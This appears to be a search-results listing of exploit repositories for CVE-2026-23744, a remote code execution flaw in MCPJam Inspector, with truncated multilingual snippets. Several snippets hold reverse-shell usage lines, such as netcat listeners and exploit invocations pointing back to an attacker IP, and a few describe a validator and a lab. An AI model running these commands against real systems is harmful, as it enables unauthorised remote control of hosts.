78 matches found
mcpExec
mcpExec est un outil qui exploite la CVE-2026-23744 pour obtenir un reverse shell via l'URL de l'installation vulnérable de MCPJam Inspector. Installation root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich...
CVE-2026-23744-PoC
Description L'inspecteur MCPJam est la plateforme de développement local-first pour les serveurs MCP. Les versions 1.4.2 et antérieures sont vulnérables à une faille d'exécution de code à distance RCE, qui permet à un attaquant d'envoyer une requête HTTP spécialement conçue qui déclenche...
CVE-2026-23744
CVE-2026-23744 MCPJam inspector Exécution de code à distance : utilisation de la preuve de concept POC : root@kitploit: python3 cve-2026-23744.py --target https:// --att-ip --att-p...
CVE-2026-23744
CVE-2026-23744: Unauthenticated Remote Code Execution in @mcpjam/inspector DISCLAIMER: This repository and the associated scripts are intended solely for authorized security assessments, penetration testing, security research, and educational analysis. Unauthorized testing of systems without...
MCPJam Inspector - Remote Code Execution
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...
mcpjam-cve-2026-23744-validator
MCPJam Inspector Authorized Security Validator CVE-2026-23744 에 취약한 MCPJam Inspector 배포를 위한 제한된 개념 증명 검증기입니다. 이 프로젝트는 이전에 공개된 CVE-2026-23744에 대한 독립적이고 비파괴적인 검증 도구입니다. 원본 취약점 공개 또는 익스플로잇이 아닙니다. 이 저장소는 자신이 소유하거나 명시적인 서면 승인을 받은 시스템을 검증하는 보안 전문가를 대상으로 합니다. 중요 공지 이 검증기는 대상 MCPJam Inspector 프로세스가 고정된...
CVE-2025-49596-PoC
CVE-2026-23744-PoC PoC automatisé pour CVE-2026-23744 RCE sur l'inspecteur MCPJam avant la version 1.4.2 sur cibles Linux Comment utiliser root@kitploit: use netcat to run listener on any port like 9002. nc -nvlp 9002 use the automation like this python3 CVE-2025-49596.py https://mcpjam-server.co...
CVE-2026-23744-RCE
MCPJam Inspector v1.4.2 - Exploit RCE Description de la vulnérabilité MCPJam Inspector contient une vulnérabilité d'exécution de code à distance RCE non authentifiée dans le point d'accès /api/mcp/connect. Cette vulnérabilité permet aux attaquants d'exécuter des commandes arbitraires en envoyant...
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2
CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 Une vulnérabilité critique d'exécution de code à distance RCE dans MCPJam Inspector 3. Lancer l'exploit root@kitploit: python3 CVE-2026-23744.py -u -i -p 4. Pour une meilleure utilisation, je recommande de mettre à jour le terminal vers un terminal...
MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
на kali linux - терминал 1 nc -lvnp 4444 на kali linux - терминал 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...
CVE-2026-23744-Remote-Code-Execution-POC
CVE-2026-23744 - MCPJam inspector Remote-Code-Execution: Proof Of Concept POC MCPJam inspector 3. Запустите эксплойт root@kitploit: python3 exploit.py...
CVE-2026-23744-Lab
CVE-2026-23744 – MCPJam Inspector Docker Lab Этот репозиторий — небольшая Docker-лаборатория для сравнения уязвимой и пропатченной сборок MCPJam Inspector для CVE-2026-23744. Он предназначен для обучения и создания публичного портфолио по безопасности: быстрая настройка, наглядные доказательства ...
exploit-CVE-2026-23744
exploit-CVE-2026-23744 MCPJam Inspector는 MCP 서버를 위한 로컬 우선 개발 플랫폼입니다. 1.4.2및 이전 버전에서 RCE 결함으로 인해 공격자가 조작된 HTTP 요청을 보내 MCP 서버를 설치하고 원격으로 코드를 실행할 수 있습니다. 이는 서비스가 기본적으로 127.0.0.1 대신 0.0.0.0에서 수신 대기하기 때문입니다. 실행 방법: 1. 해당 포트와 IP를 설정합니다. 2. 공격자 머신에 리스너를 설정합니다예: "nc -lvnp 4444" 또는 임의의 공격자 포트. 3. --target...
CVE-2026-23744
CVE-2026-23744 – Proof of Concept Скрипт Python в этом PoC отправляет простой HTTP-запрос на целевой хост, на котором запущен MCPJam inspector версия замените на ваш порт прослушивания Затем откройте другой shell и запустите PoC: root@kitploit: cd CVE-2026-23744 python3 exploit.py Ссылки RCE в...
CVE-2026-23744-POC
Описание Эта уязвимость существует, потому что MCPJam Inspector открывает внутренние конечные точки API, предназначенные для отладки и разработки. Эти конечные точки принимают вводимые пользователем данные и передают их напрямую в выполнение системных процессов без надлежащей проверки или очистки...
CVE-2026-23744
CVE-2026-23744 Эксплойт для MCPJam Inspector Установите библиотеки с помощью: pip install -r requirements.txt - используйте python CVE-2026-23744 --help для получения информации MCPJam inspector — это локальная платформа разработки для MCP-серверов. Последняя версия 1.4.2 и более ранние версии...
CVE-2026-23744-POC
CVE-2026-23744 — MCPJam Inspector: неаутентифицированное RCE MCPJam Inspector = 1.4.2 по умолчанию привязывается к 0.0.0.0 и открывает /api/mcp/connect без какой-либо аутентификации. Конечная точка принимает объект serverConfig, который запускает процесс непосредственно на хосте — передача полезн...
mcpjaminspector-unauth-rce
mcpjaminspector-unauth-rce CVE-2026-23744 RCE в MCPJam inspector = 1.4.2 Детали уязвимости https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Использование root@kitploit: usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help show th...
CVE-2026-23744
CVE-2026-23744 — MCPJam Inspector RCE non authentifié PoC d'exécution de code à distance non authentifié pour CVE-2026-23744. MCPJam Inspector 1.4.2 et versions antérieures exposent une fonctionnalité via /api/mcp/connect qui peut lancer une commande de serveur MCP contrôlée par un attaquant sans...